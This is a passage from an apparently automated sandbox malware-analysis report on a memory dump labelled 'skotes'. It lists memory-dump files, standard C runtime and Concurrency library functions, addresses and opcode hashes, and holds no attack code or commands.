Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: 01b3ad540a1af5dbb5e31c2a597bdca9be75584d22e73dc1029f7f9db9b5ac57
Instruction ID: 8e4beb82c57252f8aec10aa8b7dadb36e7ed10cfc8f5fa8cc6392c9d6fc0c43c
Opcode Fuzzy Hash: 01b3ad540a1af5dbb5e31c2a597bdca9be75584d22e73dc1029f7f9db9b5ac57
Instruction Fuzzy Hash: 56014F61B97B1269EA31BA7A5C1EE6E11CD9F8BB45B061510AC44F22C1DB60CD0296A1

Function 00984C14 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00984C98
__alloca_probe_16.LIBCMT ref: 00984D5E
__freea.LIBCMT ref: 00984DCA
__freea.LIBCMT ref: 00984DD3
__freea.LIBCMT ref: 00984DF6

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16
String ID:
API String ID: 3509577899-0
Opcode ID: 29461dab781c7be36d4dbe7f0fb352a2b485b475f8d0dac41fb3dfbcc5a25137
Instruction ID: 2a499e8311a6dc4a426e6e925e430918960bf03baad280a0b175b8cb3e448cdd
Opcode Fuzzy Hash: 29461dab781c7be36d4dbe7f0fb352a2b485b475f8d0dac41fb3dfbcc5a25137
Instruction Fuzzy Hash: BF51A072600217ABEB25AF649C41FBB3AADDF85754F154529FD08A7381EB34EC1097A0

Function 0096E8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 0096E91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0096E926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0096E950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0096E959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0096E9DC

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: c82a19a07c0ed05ca48ca8e2e1815043f73229ebe7d72c786f8ca435f087dbe6
Instruction ID: 928cd05a4fd40fcd27db253f1492afddb4b410bd611f03bcd7d0e72a738d05fd
Opcode Fuzzy Hash: c82a19a07c0ed05ca48ca8e2e1815043f73229ebe7d72c786f8ca435f087dbe6
Instruction Fuzzy Hash: 1D416F79A00619EFCF09DF68C554AADB7B6FF88310F048159E956AB390CB74AE01DF81

Function 0096D2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 0096D344
ListArray.LIBCONCRT ref: 0096D367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0096D370
ListArray.LIBCONCRT ref: 0096D3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0096D3B3

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: b81d1825cce96fc1b5db99495653c8235ceb8b3cb9d38278b2150648aadee9d3
Instruction ID: 2e0516b773f9c82b5277a413027715c1dcb9c55bc7b79fd9352be4706f813a2a
Opcode Fuzzy Hash: b81d1825cce96fc1b5db99495653c8235ceb8b3cb9d38278b2150648aadee9d3
Instruction Fuzzy Hash: DD31BE75B01210AFCB09DF54C884FADB7AAAF89304F15409AE8169B392DB75ED41CB92

Function 009686C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 009686EE

Part of subcall function 0095EAD0: _SpinWait.LIBCONCRT ref: 0095EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00968702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00968734
List.LIBCMT ref: 009687B7
List.LIBCMT ref: 009687C6

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 0ffd73924e4d5c433d41218d0898e7406d896f05f471db6f83aca3d9fa0be901
Instruction ID: 5c49a857eab438064fad428b0e7bd1d6b596e3530aaf81ecc75dd9a0b111f4b4
Opcode Fuzzy Hash: 0ffd73924e4d5c433d41218d0898e7406d896f05f471db6f83aca3d9fa0be901
Instruction Fuzzy Hash: 6F316972D05655DFCB24EFA8C5916EEB7B1BF44318F24026AD84277652CB31AE08CB94

Function 00981ABC Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279COMMONLIBRARYCODE

Download Yara Rule

APIs

__dosmaperr.LIBCMT ref: 00981BD7
__dosmaperr.LIBCMT ref: 00981BF6
__dosmaperr.LIBCMT ref: 00981D9C

Strings

H, xrefs: 00981D21

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
